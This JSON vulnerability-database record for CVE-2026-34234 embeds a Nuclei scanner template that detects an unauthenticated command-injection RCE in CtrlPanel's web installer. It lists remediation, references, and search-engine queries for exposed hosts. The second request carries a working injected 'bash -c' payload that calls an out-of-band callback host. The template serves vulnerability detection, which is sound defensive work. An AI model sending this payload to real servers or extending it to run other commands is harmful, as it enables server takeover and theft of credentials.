{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-34234/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-34234/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-34234/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-34234/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-34234/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-34234"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-34234"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-34234.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-34234\n\ninfo:\n  name: CtrlPanel <= 1.1.1 - Remote Code Execution\n  author: ritikchaddha\n  severity: critical\n  description: |\n    CtrlPanel versions <= 1.1.1 are vulnerable to unauthenticated Remote Code Execution (RCE) via the web installer endpoint (public/installer/index.php). The installer loaded and executed form handler files before checking for the install.lock gate, allowing attackers to reach installer forms on fully-deployed instances. User-supplied POST values (url, key, clientkey) from the Pterodactyl configuration form were interpolated directly into shell command strings executed via bash -c without sanitization, enabling command injection. The vulnerability is confirmed actively exploited in the wild.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands with web server process privileges on any CtrlPanel instance where /installer/index.php is accessible. Consequences include full server compromise, extraction of .env database credentials and application secrets, persistent backdoor installation, and lateral movement.\n  remediation: |\n    Update to CtrlPanel v1.2.0 or later. The patch moves the install.lock check to the top of index.php before any form files are loaded, and replaces string-based proc_open() calls with array-style argument lists to prevent shell injection. As an immediate mitigation, deny web server access to the /installer/ directory.\n  reference:\n    - https://github.com/Ctrlpanel-gg/panel/security/advisories/GHSA-jmhr-q9q5-fqwh\n    - https://github.com/rootdirective-sec/CVE-2026-34234-Lab\n    - https://github.com/Ctrlpanel-gg/panel/releases/tag/1.2.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34234\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-34234\n    epss-score: 0.04539\n    epss-percentile: 0.91195\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ctrlpanel-gg\n    product: ctrlpanel\n    shodan-query: title:\"CtrlPanel\" http.html:\"ctrlpanel\"\n    fofa-query: title=\"CtrlPanel\"\n  tags: cve,cve2026,ctrlpanel,rce,oast,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /installer/index.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'installation')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /installer/index.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        checkPtero=1&url=http%3A%2F%2F{{interactsh-url}}&key=asdasdasda%27%27+%26%26+bash+-c+%27nslookup+{{interactsh-url}}%27&clientkey=asdasdasd\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n# digest: 4a0a004730450220064d20c4b05da40fa597615307901dd5a3b7990dda7ed3f3e940296ae5478204022100c787dd0c0b0578487aa273f800733c8c6bae0d9a74650875f9bc8c905fe4f665:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-34234"
}